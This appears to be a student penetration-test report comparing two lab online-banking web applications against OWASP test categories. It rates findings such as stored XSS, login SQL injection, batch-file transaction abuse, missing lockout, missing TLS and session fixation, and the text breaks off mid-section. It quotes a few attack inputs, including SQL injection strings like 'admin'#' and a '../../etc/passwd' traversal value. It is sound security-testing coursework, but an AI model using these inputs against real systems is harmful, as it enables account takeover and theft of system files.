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# **Executive Summary**

### 1 Online Banking

We found several vulnerabilities, which allow an attacker to cause high damage to the bank behind the Online Banking web application. The system, as is, should not be used in production!

It is possible to login as any user without knowing the valid password. The attacker can either brute-force the password, or get into the account using more advanced techniques (SQL injection). This allows an attacker to take over an employee of the bank, get a list of all registered users and approve newly registered users as well as transaction above 10,000 units of currency. Furthermore, it is then possible to change the account balances at will. It is also possible to perform transactions without valid transaction codes using transaction batch files. Beside this, it is also possible to insert scripts into the frontend of an employee using the username field or the transaction description. This allows an attacker to take over the session of an employee.

If an attacker performs a man-in-the-middle attack, he will be able to intercept the whole traffic, as the server only allows communication via unencrypted channels. This allows an attacker to take over the session of a user. However, the attacker has to be more advanced to perform such an attack.

Finally, there is also an issue in the business logics of the application: it is possible to transfer money from other accounts to the own account by putting a negative amount into a transaction in a batch file, and therefore "steal" money from other customers.

#### 2 SecureBank

We found some issues in the SecureBank's online banking application, which allow an attacker to cause damage to the bank. The system, as is, should not be used in production.

For an attacker, it is possible to brute-force the password of a user, as there is no lock-out mechanism. It is furthermore possible to insert scripts into the frontend of an employee using the transaction description field. While this requires that the attacker is a client of the bank, it allows the attacker to take over the session of an employee.

If an attacker performs a man-in-the-middle attack, he will be able to intercept the whole traffic, as the server only allows communication via unencrypted channels. This allows an attacker to take over the session of a user. However, the attacker has to be more advanced to perform such an attack.

# 3 Comparison

In summary, we found that the web application of the SecureBank has less and also less critical vulnerabilities than the Online Banking web application.

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# 1 Time Tracking

If a task is prefixed with (o), it refers to the Online Banking web application, if a task is prefixed with (s), the task refers only to the SecureBank web application.

Table 1.1: Time Tracking Table

| Name           | Task  | Time |
|----------------|---|------|
| Alexis Engelke | Setting up LaTeX template   | 1    |
| Alexis Engelke | (o) Analyzing XSS vulnerabilities using ZAP                                   | 2    |
| Alexis Engelke | (o) Analyzing SQL injection vulnerabilities in the web interface using SQLmap | 1.5  |
| Alexis Engelke | (o) Analyzing SQL injection vulnerabilities in the file upload                | 2    |
| Alexis Engelke | (o) Exploiting the TAN verification in the file upload                        | 2    |
| Alexis Engelke | (o) Documenting SQL injection   | 1    |
| Alexis Engelke | (s) Searching for XSS vulnerabilities   | 1    |
| Alexis Engelke | (s) Testing and Documenting SQL injection                                     | 2    |
| Alexis Engelke | Testing and Documenting Configuration and Deploy Management Testing           | 2    |
| Alexis Engelke | Testing and Documenting Identity Management Testing                           | 1    |
| Alexis Engelke | Testing and Documenting Authentication Testing                                | 2    |
| Alexis Engelke | Testing and Documenting Authorization Testing                                 | 2    |
| Alexis Engelke | Presentation and Screencasts  | 2    |
| Foo            | Fixing all issues   | 10   |

# 2 Vulnerabiliteis Overview

Through our testing, we identified the following vulnerabilities as the most critical for the Online Banking application and the SecureBank:

# 2.1 Online Banking

#### 2.1.1 Stored XSS in Registration and Transaction Description

• Likelihood: high

• Implication: high

• Risk: high

With stored cross site scripting attacks it is possible to inject JavaScript code, which is run whenever an employee logs in and opens the list of unapproved accounts or transactions. It is also possible to inject script from other sites.

#### 2.1.2 Missing check for amount in transactions from batch file

• Likelihood: medium

• Implication: high

• Risk: high

It is possible to get money from another client of the bank by filling in a negative number in the amount field of a transaction batch file. Therefore, one client can generate an infinite amount of money, while reducing the amount of money of other clients.

#### 2.1.3 SQL injection in login form

Likelihood: high

• Implication: high

• Risk: high

The application is vulnerable to SQL injections in the login form. It is possible to login as a user while only knowing its name.

#### 2.1.4 SQL injection in transaction batch file

• Likelihood: medium

• Implication: high

• Risk: high

The application is vulnerable to SQL injections in the transaction batch files. Therefore, it is possible to perform transactions while using any unused TAN in the system, which is not known to the attacker and might come from another client.

#### 2.1.5 Missing lock out mechanism

• Likelihood: high

• Implication: medium

• Risk: medium

The application does not provide a lock out mechanism, allowing an attacker to brute-force for the password of a known username.

#### 2.1.6 Missing transport layer security

• Likelihood: high

• Implication: high

• Risk: high

The application does not communicate over a TLS/SSL encrypted channel. This allows Man-in-the-Middle attacks, allowing to take over the session of a user.

#### 2.2 SecureBank

#### 2.2.1 Stored XSS in transaction description

• Likelihood: high

• Implication: high

• Risk: high

With stored cross site scripting attacks it is possible to inject JavaScript code, which is run whenever an employee logs in and opens the list of unapproved accounts or transactions. It is also possible to inject script from other sites.

#### 2.2.2 Missing lock out mechanism

• Likelihood: high

• Implication: medium

• Risk: medium

The application does not provide a lock out mechanism, allowing an attacker to brute-force for the password of a known username.

#### 2.2.3 Missing transport layer security

• Likelihood: high

• Implication: high

• Risk: high

The application does not communicate over a TLS/SSL encrypted channel. This allows Man-in-the-Middle attacks, allowing to take over the session of a user.

# 3 Tools

### 3.1 Zed Attack Proxy (ZAP)

Using the Zed Attack Proxy (ZAP), we were able to reveal significant parts of the directory structure in both web applications. In the *Online Banking* web application, we found a stored XSS vulnerability in the registration and the transaction description as well as a SQL injection vulnerability in the login form using the fuzzer. We were also be able to find a buffer overflow vulnerability for the transaction description in the transaction batch files. In the *SecureBank* web application, we were unable to find further SQL injection or XSS vulnerabilities.

### 3.2 SQLmap

Using SQLmap, we found the SQL injection vulnerability in the login form of the *Online Banking* application, which we found using ZAP earlier. SQLmap did not reveal further SQL injection possibilities in any of the two applications.

#### 3.3 W3AF

With W3AF, we made a full audit, including file\_upload(looks for uploadable files), eval(insecure eval() usage), un\_ssl(secure content via http), os\_commanding, lfi(local file inclusion), rfi, sqli(injection), preg\_replace(insecure preg\_replace() in PHP), mx\_injection, generic, format\_string, websocket\_hijacking, shell\_shock, ldapi, buffer\_overflow, redos(DOS using slow regex), global\_redirect(any redirecting scripts), xpath, cors\_origin(consistency of HTTP origin header and sender), htaccess\_methods, dav(WebDAV module configuration), ssi(server side inclusion), csrf, xss, ssl\_certificate, xst(cross site tracing), blind\_sqli, phishing\_vector, response\_splitting, rfd(reflected file download), frontpage(tries uploading files using frontpage extensions).

W3AF was able to quite easily find XSS, CSRF and SQL injection points. It also informed about unhandled errors and possible click-jacking on both sites.

However, it also showed a few false positives (showing sql injections as eval vulnerabilities, path disclosure) and missed a few vulnerabilities that our other tools found, like buffer overflows.

Overall, I'd say W3AF is a Jack of all Trades. If the functionality is not enough, however, it's possible to write custom plugins.

### 3.4 SQL Inject Me

Already installed in Firefox on the Samurai machines, this tool has one goal and is pretty straightforward to use. It attacks the chosen form fields with brute-force SQL Injection attacks, hoping to get some intel on possible attack vectors. Fields that you don't want to attack can be supplied with a fixed value. Attacking the username in the login form of Online Banking passes 15479 of 15480 tests, but the input name 'OR username IS NOT NULL OR username = 'returns a 302 error code. This shows us that the username field might be vulnerable.

However, seeing that only one test shows some kind of reaction in a place where we afterwards confirmed the existence of a rather simple vulnerability (admin'#) makes "SQL Inject Me" seem like a rather weak tool.

Something else to behold is that when brute-forcing any kind of form where data is created (like registration), there will be more than 15.000 similar actions performed within a few seconds. The tool doesn't do anything to hide its intentions.

### 3.5 Burp Suite

We also analyzed the applications regarding SQL injections using Burp. However, we did not find more vulnerabilities. The sequencer is useful for confirming high enough entropy for session IDs.

# 3.6 Firebug / Chromium Developer Tools

We used the developer tools to inspect the HTML structure of the site. With these tools, we found some HTML5 input patterns, which gave us hints which parameters to tweak using an interception proxy. It's also possible to resend requests with manipulated parameters. And if Javascript was heavily used or XSS would be blocked in some half vulnerable way, it can debug the Javascript code step-by-step.

# 4 Detailed Report

### 4.1 Configuration and Deploy Management Testing

#### 4.1.1 Test File Extensions Handling for Sensitive Information

#### **Online Banking**

**Observation** We found various files which are served as plain text but are

PHP source files. One of these files contains the credentials of the mail server. We were also able to download the compiled executable as well as the source code of the batch

file parser.

**Discovery** Using the OWASP ZAP tool, we used the forced browse

functionality on /InternetBanking/. We received a list of

files which were found using this tool, see below.

**Likelihood** This can be tested by anyone who enters specific strings

into the address bar of a browser. However, the likelihood of this vulnerability is much higher if the attacker uses

specific tools which test specific paths systematically.

**Impact** The attacker can get sensitive information, e.g. credentials

to the mail server or the database. He can analyze the

source of the parser and find vulnerabilies there.

Access Vector Network

**Access Complexity** Low

Privileges Required | None

User Interaction None

**Scope** Unchanged

**Confidentiality** High

**Intigrity** No Impact

**Availability** No Impact

#### **Forced Browsing Results:**

```
http://vm/InternetBanking/
http://vm/InternetBanking/DataAccess/
http://vm/InternetBanking/auth/
http://vm/InternetBanking/client/
http://vm/InternetBanking/controller/
http://vm/InternetBanking/controller/clientController.php
http://vm/InternetBanking/controller/clientFunctions.inc
http://vm/InternetBanking/controller/employeeController.php
http://vm/InternetBanking/controller/employeeFunctions.inc
http://vm/InternetBanking/controller/loginController.php
http://vm/InternetBanking/controller/logoutController.php
http://vm/InternetBanking/controller/registrationController.php
http://vm/InternetBanking/css/
http://vm/InternetBanking/css/bootstrap-theme.css
http://vm/InternetBanking/css/bootstrap-theme.css.map
http://vm/InternetBanking/css/bootstrap-theme.min.css
http://vm/InternetBanking/css/bootstrap.css
http://vm/InternetBanking/css/bootstrap.css.map
http://vm/InternetBanking/css/bootstrap.min.css
http://vm/InternetBanking/employee/
http://vm/InternetBanking/fonts/
http://vm/InternetBanking/fonts/glyphicons-halflings-regular.eot
http://vm/InternetBanking/fonts/glyphicons-halflings-regular.svg
http://vm/InternetBanking/fonts/glyphicons-halflings-regular.ttf
http://vm/InternetBanking/fonts/glyphicons-halflings-regular.woff
http://vm/InternetBanking/fonts/glyphicons-halflings-regular.woff2
http://vm/InternetBanking/index/
http://vm/InternetBanking/js/
http://vm/InternetBanking/js/bootstrap.js
http://vm/InternetBanking/js/bootstrap.min.js
http://vm/InternetBanking/js/npm.js
http://vm/InternetBanking/login/
http://vm/InternetBanking/logout/
http://vm/InternetBanking/model/
http://vm/InternetBanking/model/Payment.class
http://vm/InternetBanking/model/PaymentRequest.class
http://vm/InternetBanking/model/User.class
```

```
http://vm/InternetBanking/model/UserRequest.class
http://vm/InternetBanking/parser/
http://vm/InternetBanking/parser/Makefile
http://vm/InternetBanking/parser/exec
http://vm/InternetBanking/parser/main.c
http://vm/InternetBanking/parser/mysql_query_function.c
http://vm/InternetBanking/parser/mysql_query_function.h
http://vm/InternetBanking/registration/
http://vm/InternetBanking/view/
http://vm/InternetBanking/view/account.inc
http://vm/InternetBanking/view/accounts.inc
http://vm/InternetBanking/view/approvepayments.inc
http://vm/InternetBanking/view/approveregistrations.inc
http://vm/InternetBanking/view/client.inc
http://vm/InternetBanking/view/employee.inc
http://vm/InternetBanking/view/file.inc
http://vm/InternetBanking/view/history.inc
http://vm/InternetBanking/view/historypdf.inc
http://vm/InternetBanking/view/login.inc
http://vm/InternetBanking/view/online.inc
http://vm/InternetBanking/view/registration.inc
```

#### SecureBank

**Observation** We found some HTML snippets, which do not contain

any sensitive information, and the compiled executable of the transaction file parser. We also found that the library

TCPDF appears to be used.

**Discovery** Using the OWASP ZAP tool, we used the forced browse

functionality on /seccoding-2015/. We received a list of

files which were found using this tool, see below.

**Likelihood** This can be tested by anyone who enters specific strings

into the address bar of a browser. However, the likelihood of this vulnerability is much higher if the attacker uses

specific tools which test specific paths systematically.

Impact The attacker only has access to the parser executable, which

might contain information about the database connection. He can analyze the parser and find vulnerabilies there.

Access Vector Network

Access Complexity | Low

Privileges Required | None

User Interaction None

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** No Impact

**Availability** No Impact

#### **Forced Browsing Results:**

http://vm/seccoding-2015/

http://vm/seccoding-2015/database/

http://vm/seccoding-2015/html/

http://vm/seccoding-2015/html/auth.html

http://vm/seccoding-2015/html/dberror.html

http://vm/seccoding-2015/html/default.html

http://vm/seccoding-2015/html/display\_userstate.html

```
http://vm/seccoding-2015/html/display_userstate_table.html
http://vm/seccoding-2015/html/dologin_fail.html
http://vm/seccoding-2015/html/dologin_success.html
http://vm/seccoding-2015/html/doregister_fail.html
http://vm/seccoding-2015/html/doregister_success.html
http://vm/seccoding-2015/html/edoverify_fail.html
http://vm/seccoding-2015/html/ehome.html
http://vm/seccoding-2015/html/ehome_transaction.html
http://vm/seccoding-2015/html/ehome_user.html
http://vm/seccoding-2015/html/entry_page.html
http://vm/seccoding-2015/html/etakeover.html
http://vm/seccoding-2015/html/etransactionpdf_fail.html
http://vm/seccoding-2015/html/home.html
http://vm/seccoding-2015/html/login.html
http://vm/seccoding-2015/html/register.html
http://vm/seccoding-2015/html/root.html
http://vm/seccoding-2015/html/simpleRoot.html
http://vm/seccoding-2015/html/transaction.html
http://vm/seccoding-2015/html/udotransactionupload_fail.html
http://vm/seccoding-2015/html/utransaction.html
http://vm/seccoding-2015/html/utransactionupload.html
http://vm/seccoding-2015/index/
http://vm/seccoding-2015/login/
http://vm/seccoding-2015/parser/
http://vm/seccoding-2015/parser/parser
http://vm/seccoding-2015/tcpdf/
http://vm/seccoding-2015/tcpdf/CHANGELOG.TXT
http://vm/seccoding-2015/tcpdf/LICENSE.TXT
http://vm/seccoding-2015/tcpdf/README.TXT
http://vm/seccoding-2015/tcpdf/composer.json
http://vm/seccoding-2015/tcpdf/config/
http://vm/seccoding-2015/tcpdf/config/tcpdf_config.php
http://vm/seccoding-2015/tcpdf/fonts/
http://vm/seccoding-2015/tcpdf/include/
http://vm/seccoding-2015/tcpdf/include/barcodes/
http://vm/seccoding-2015/tcpdf/include/barcodes/datamatrix.php
http://vm/seccoding-2015/tcpdf/include/barcodes/pdf417.php
http://vm/seccoding-2015/tcpdf/include/barcodes/qrcode.php
http://vm/seccoding-2015/tcpdf/include/sRGB.icc
```

```
http://vm/seccoding-2015/tcpdf/include/tcpdf_colors.php
http://vm/seccoding-2015/tcpdf/include/tcpdf_filters.php
http://vm/seccoding-2015/tcpdf/include/tcpdf_font_data.php
http://vm/seccoding-2015/tcpdf/include/tcpdf_fonts.php
http://vm/seccoding-2015/tcpdf/include/tcpdf_images.php
http://vm/seccoding-2015/tcpdf/include/tcpdf_static.php
http://vm/seccoding-2015/tcpdf/tcpdf.php
http://vm/seccoding-2015/tcpdf/tcpdf_autoconfig.php
http://vm/seccoding-2015/tcpdf/tcpdf_barcodes_1d.php
http://vm/seccoding-2015/tcpdf/tcpdf_barcodes_2d.php
http://vm/seccoding-2015/tcpdf/tcpdf_import.php
http://vm/seccoding-2015/tcpdf/tcpdf_parser.php
http://vm/seccoding-2015/tcpdf/tools/
http://vm/seccoding-2015/tcpdf/tools/
http://vm/seccoding-2015/tcpdf/tools/convert_fonts_examples.txt
http://vm/seccoding-2015/tcpdf/tools/tcpdf_addfont.php
```

#### Comparison

The web application of the SecureBank discloses less sensitive information. However, both applications disclose information which should not be available to unauthorized persons.

#### 4.1.2 Test HTTP Methods

#### **Online Banking**

**Observation** The server responded that the method POST, GET, OPTIONS

and HEAD are supported.

Discovery We submitted the request OPTIONS / HTTP/1.1 to the

server via NetCat on port 80.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

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**Observation** The server responded that the method POST, GET, OPTIONS

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Discovery We submitted the request OPTIONS / HTTP/1.1 to the

server via NetCat on port 80.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

# 4.1.3 Test HTTP Strict Transport Security

#### **Online Banking**

Observation | The server did not send any Strict-Transport-Security

header.

Discovery Executing the command curl -s -D-

http://vm/InternetBanking/ | grep Strict resulted in

no results.

**Impact** n/a

**Likelihood** | n/a

CVSS n/a

#### SecureBank

Observation The server did not send any Strict-Transport-Security

header.

Discovery Executing the command curl -s -D-

http://vm/InternetBanking/ | grep Strict resulted in

no results.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

# 4.1.4 Test RIA cross domain policy

# **Online Banking**

|            | No cross domain policy files were found.         |
|------------|--|
| Discovery  | We scanned the traffic using ZAP.  n/a  n/a  n/a |
| Impact     | n/a  |
| Likelihood | n/a  |
| CVSS       | n/a  |

# SecureBank

| Observation          | No cross domain policy files were found. |
|----------------------|--|
| Discovery            | We scanned the traffic using ZAP.        |
| Impact<br>Likelihood | n/a                                      |
| Likelihood           | n/a                                      |
| CVSS                 | n/a                                      |

# Comparison

# 4.2 Identity Management Testing

# 4.2.1 Test Role Definitions

# **Online Banking**

| Observation | We found the following functionality for the different roles: |
|-------------|---|

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|---|--|----------|--|
|   | Client   | Employee |  |
| View own account  | ×  | ×        |  |
| View own transaction history  | ×  | _        |  |
| Create new transactions   | ×  | _        |  |
| View account and transaction history of clients and employees   | _  | ×        |  |
| Change account details and balance of clients and employees   | _  | ×        |  |
| Approve transactions  | _  | ×        |  |
| Approve registrations of clients and employees  | _  | ×        |  |
| We noticed that there are links to view the transaction history and change the account balance of employees, too. |  |          |  |
| We gathered the information by exploring to tion interface manually.  | he web a   | pplica-  |  |

Discovery

Impactn/aLikelihoodn/aCVSSn/a

#### SecureBank

| Observation | We found the following functionality for the                         | differen | t roles: |
|-------------|--|----------|----------|
|             |  | Client   | Employee |
|             | View own account   | ×        | _        |
|             | View own transaction history   | ×        | _        |
|             | Create new transactions  | ×        | _        |
|             | View account and transaction history of clients                      | -        | ×        |
|             | Approve transactions   | _        | ×        |
|             | Approve registrations of clients and employees                       | _        | ×        |
| Discovery   | We gathered the information by exploring to tion interface manually. | he web a | pplica-  |
| Impact      | n/a  |          |          |
| Likelihood  | n/a  |          |          |
| CVSS        | n/a  |          |          |

# Comparison

The SecureBank web application does not offer a possibility for an employee to change the account balance of a client. However, the Online Banking application allows to view the transaction history and change the account balance also for employees, which have no account. This behaviour might be confusing.

#### 4.2.2 Test User Registration Process

#### **Online Banking**

#### Observation

For registration, a username, an e-mail address, a password and whether the registrant is a client or an employee are needed. Anyone can register for access. The registration has to be approved by an employee before the registrant can use the account. A person can register only one time with the same e-mail address. However, a person can register many times with the same username. (The activation of such an account fails with a database error.) We could not find out, whether the registrants are verified personally before the approval.

Discovery

We tried to register several accounts with the same e-mail address and/or username using the web application.

**Impact** 

n/a

Likelihood

n/a

**CVSS** 

n/a

#### SecureBank

Observation

For registration, the full name, an e-mail address, a password and whether the registrant is a client or an employee are needed. Anyone can register for access. The registration has to be approved by an employee before the registrant can use the account. A person can register only one time with the same e-mail address. We could not find out, whether the registrants are verified personally before the approval.

**Discovery** 

We tried to register several accounts with the same e-mail address and/or names using the web application.

**Impact** 

n/a

Likelihood

n/a

**CVSS** 

n/a

# Comparison

The Online Banking web application allows the double-registration of the same username at first, it only fails at the activation. This behaviour is confusing. Also, the application should ask for the full name be able to verify the name. Otherwise, there are no significant differences between both applications.

### 4.2.3 Test Account Provisioning Process

#### **Online Banking**

**Observation** There is no way to change the role of a user. Account

requests (both, client and employee) must be approved by

an employee.

**Discovery** We followed the links in the user interface and tried to login

as a non-verified user.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** There is no way to change the role of a user. Account

requests (both, client and employee) must be approved by

an employee.

**Discovery** We followed the links in the user interface and tried to login

as a non-verified user.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

# 4.2.4 Testing for Account Enumeration and Guessable User Account Online Banking

**Observation** There are no differences in the servers response for not

activated accounts, valid usernames and invalid usernames.

**Discovery** We tested the login for activated and non-activated accounts,

existing and not-existing usernames and valid or invalid

passwords.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** There are no differences in the servers response for not

activated accounts, valid usernames and invalid usernames.

**Discovery** We tested the login for activated and non-activated accounts,

existing and not-existing usernames and valid or invalid

passwords.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

# 4.2.5 Testing for Weak or unenforced username policy

# **Online Banking**

| Observation | We were not able to find a username policy. |
|-------------|---|
| Discovery   | We tested various usernames.                |
| Impact      | n/a   |
| Likelihood  | n/a   |
| CVSS        | n/a   |

#### SecureBank

|            | The username has to be a valid e-mail address of the client/employee. There is no policy regarding the e-mail address. |
|------------|--|
| Discovery  | We tested valid and invalid e-mail addresses.  |
| Impact     | n/a  |
| Likelihood | n/a  |
| CVSS       | We tested valid and invalid e-mail addresses.<br>n/a<br>n/a<br>n/a   |

#### Comparison

The only difference between the applications is that the Online Banking application uses usernames, which might have less correlation to the user than the e-mail address.

# 4.3 Authentcation Testing

# 4.3.1 Testing for Credentials Transported over Encrypted Channel

See Section 4.8.1.

# 4.3.2 Testing for default credentials

We decided to not test for default credentials, because we are working with custom software and therefore assume that all users and administrators choose secure passwords.

### 4.3.3 Testing for Weak lock out mechanism

#### **Online Banking**

**Observation** We were not able to find any lock out mechanism. There-

fore, brute force attacks on passwords are possible.

**Discovery** We entered a valid username and incorrect passwords 10

times, and always got the error message about an incorrect password. Afterwards, we were able to log in with a correct

password.

**Impact** An attacker can brute-force the password of any user and

therefore take the user over.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

**Privileges Required** | None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** Low

**Availability** No Impact

#### SecureBank

**Observation** We were not able to find any lock out mechanism. There-

fore, brute force attacks on passwords are possible.

**Discovery** We entered a valid username and incorrect passwords 10

times, and always got the error message about the failed login. Afterwards, we were able to log in with a correct

password.

**Impact** An attacker can brute-force the password of any user and

therefore take the user over.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

**Privileges Required** | None

**User Interaction** None

Scope Unchanged

**Confidentiality** Low

**Intigrity** Low

**Availability** No Impact

#### Comparison

Both applications do not provide any lock out mechanism.

#### 4.3.4 Testing for bypassing authentication schema

#### **Online Banking**

**Observation** We were able to bypass the authentication schema via a

SQL injection. This gave us the ability to login as any user

without knowing the password.

Discovery Using the fuzzer jbrofuzz / SQL Injection of ZAP on

the username field of the login page, we were able to login as admin or another user without knowing the password. We had no success with direct page requests, modifying

the session ID and parameter modification.

Impact An attacker can take over a user without knowing the valid

access credentials.

**Likelihood** High

Access Vector Network

Access Complexity Low

**Privileges Required** | None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** Low

**Availability** No Impact

#### SecureBank

**Observation** We were not able to bypass the authentication schema.

Discovery Using the fuzzer jbrofuzz / SQL Injection of ZAP and

SQLmap on the username field of the login page, we were not able to find SQL injection vulnerabilities to bypass the authentication schema. We also had no success with direct page requests, modifying the session ID and parameter

modification.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

The Online Banking web application provides a way to bypass the authentication schema via SQL injection. The SecureBank application does not offer such vulnerabilities.

# 4.3.5 Testing for Vulnerable Remember Password

We did not found a remember password functionality, so we decided to not further test on this.

# 4.3.6 Testing for Browser Cache Weakness

#### **Online Banking**

**Observation** Clicking the back button in the browser does not cause

a re-login. All sites have the header Cache-Control: no-store, no-cache, must-revaildate, post-check=0, pre-check=0 and the Pragma: no-cache as well as an

Expires: <date in the past> header set.

**Discovery** Using ZAP, we analyzed the response header for different

pages which are only available when a user is logged in.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** | Clicking the back button in the browser does not cause

a re-login. All sites have the header Cache-Control: no-store, no-cache, must-revaildate, post-check=0, pre-check=0 and the Pragma: no-cache as well as an

Expires: <date in the past> header set.

**Discovery** Using ZAP, we analyzed the response header for different

pages which are only available when a user is logged in.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

There is no significant difference between both applications.

# 4.3.7 Testing for Weak password policy

#### **Online Banking**

**Observation** There is a password policy enforced, which states that a

password has have a length  $\geq 6$  and has to include at least one number, one lowercase character, one uppercase character and one symbol. There is no way to change the

password. The password does not expire.

**Discovery** We tested various passwords, like 123456. If a password

does not match the policy, an error message is shown which

informs the user about the policy.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** The password has to have a length  $\geq 8$ . There is no way to

change the password. The password does not expire.

**Discovery** We tested various passwords, like 123456. If a password

does not match the policy, an error message is shown which

informs the user about the policy.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

The Online Banking application enforces a more strict password policy than the Secure-Bank application. This reduces the risk of brute force attacks.

# 4.3.8 Testing for Weak security question/answer

We could not find such functionality in both application. Therefore, we decidede to not proceed testing on this.

# 4.3.9 Testing for Weak password change or reset functionalities

We could not find such functionality in both application. Therefore, we decidede to not proceed testing on this.

# 4.3.10 Testing for Weaker authentication in alternative channel

We could not find an alternative channel for authentication. Therefore, we decidede to not proceed testing on this.

# 4.4 Authorization Testing

## 4.4.1 Testing Directory traversal/file include

## **Online Banking**

**Observation** We could not get access to sensitive files like /etc/passwd.

Discovery We manually tried to access the client main site

with different values for the parameter action, like

action=../../etc/passwd.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** We could not get access to sensitive files like /etc/passwd.

**Discovery** We manually tried to access the site with different values

for the parameter page, like page=../../etc/passwd.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

## Comparison

Both applications do not provide file include vulnerabilities.

# 4.4.2 Testing for bypassing authorization schema

## **Online Banking**

**Observation** We were unable to bypass the authorization schema

**Discovery** We manually tried to access the employee page while be-

ing logged in as a client and got the error message Not

employee.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

### SecureBank

**Observation** We were unable to bypass the authorization schema

**Discovery** We manually tried to access the employee pages like

edoverify while being logged in as a client and got the error message You are not authenticated to do this.

Impact n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications do not provide vulnerabilities that allow to bypass the authorization schema.

# 4.4.3 Testing for Privilege Escalation

#### **Online Banking**

**Observation** We were unable to get the privileges of another user.

**Discovery** We manually tried to access the employee page while be-

ing logged in as a client and got the error message Not

employee.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

### SecureBank

**Observation** We were unable to get the privileges of another user.

**Discovery** We manually tried to access the employee pages like

edoverify while being logged in as a client and got the error message You are not authenticated to do this. We also tried to change the account number of the userid GET

parameter when downloading a PDF, without success.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications do not provide vulnerabilities that allow a privilege escalation.

## 4.4.4 Testing for Insecure Direct Object References

## **Online Banking**

**Observation** We were unable to find insecure direct object references.

**Discovery** We manually changed the GET parameter action using

ZAP. However, we either got an empty page or the re-

quested page.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

### SecureBank

**Observation** We were unable to find insecure direct object references.

**Discovery** We manually changed the GET parameter page. However,

we either got an error message or the requested page.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

## Comparison

Both applications do not provide vulnerabilities that allow insecure direct object references.

# 4.5 Session Management Testing

## 4.5.1 Testing for Bypassing Session Management Schema

# **Online Banking**

**Observation** Only cookies for the PHP session ID were used. This hints

at the cookies being rather secure. Using BurpSuite's sequencer we confirm that the entropy is excellent. However, the cookies are sent over an unencrypted connection, which

can be exploited with a MitM attack.

**Discovery** BurpSuite

Impact Medium/High, depending on the victim's privileges. By

stealing the session from a user (admin or not), we would be able to impersonate them and do actions in their name.

Likelihood High

Access Vector Adjacent Network

Access Complexity Low

**Privileges Required** | None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

**Observation** Only cookies for the PHP session ID were used. This hints

at the cookies being rather secure. Using BurpSuite's sequencer we confirm that the entropy is excellent. However, the cookies are sent over an unencrypted connection, which

can be exploited with a MitM attack.

**Discovery** BurpSuite

Impact Medium/High, depending on the victim's privileges. By

stealing the session from a user (admin or not), we would be able to impersonate them and do actions in their name.

**Likelihood** High

Access Vector Adjacent Network

Access Complexity Low

Privileges Required | None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

## Comparison

Both applications are equally secure/insecure regarding this.

# 4.5.2 Testing for Cookies attributes

## **Online Banking**

**Observation** Since only the PHP session ID is saved as cookie, no at-

tributes are saved in any cookies. Obviously there's no

attack to execute

**Discovery** BurpSuite

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** Only cookies for the PHP session ID were used. This hints

at the cookies being rather secure. Using BurpSuite's sequencer we confirm that the entropy is excellent. Not at-

tacks are possible at this point.

**Discovery** BurpSuite

**Impact** n/a

**Likelihood** n/a

CVSS n/a

## Comparison

Both applications have no attributes other than the Session ID and are thus secure under this aspect.

# 4.5.3 Testing for Session Fixation

## **Online Banking**

**Observation** Cookies aren't renewed when logging in.

**Discovery** Firefox Developer tools

Impact Medium/High, depending on the victim's privileges. An

attacker might create a session and make the user authenticate with it, thus giving the attacker access to the victim's

session.

**Likelihood** Medium

Access Vector Adjacent Network

Access Complexity Low

**Privileges Required** None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

**Observation** Cookies aren't renewed when logging in.

**Discovery** Firefox Developer tools

Impact Medium/High, depending on the victim's privileges. An

attacker might create a session and make the user authenticate with it, thus giving the attacker access to the victim's

session.

**Likelihood** Medium

Access Vector Adjacent Network

**Access Complexity** Low

Privileges Required | None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

## Comparison

Both applications have the session fixation vulnerability.

# 4.5.4 Testing for Exposed Session Variables

## **Online Banking**

**Observation** The cookies are sent over an unencrypted connection. Cook-

ies also aren't renewed when logging in.

**Discovery** BurpSuite

Impact Medium/High, depending on the victim's privileges. By us-

ing MitM to steal the session from a user (admin or not), we would be able to impersonate them and do actions in their name. This compromises the integrity of the application.

**Likelihood** High

Access Vector Adjacent Network

Access Complexity | Low

**Privileges Required** | None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

**Observation** The cookies are sent over an unencrypted connection. Cook-

ies also aren't renewed when logging in.

**Discovery** BurpSuite

Impact Medium/High, depending on the victim's privileges. By us-

ing MitM to steal the session from a user (admin or not), we would be able to impersonate them and do actions in their name. This compromises the integrity of the application.

**Likelihood** High

Access Vector Adjacent Network

Access Complexity Low
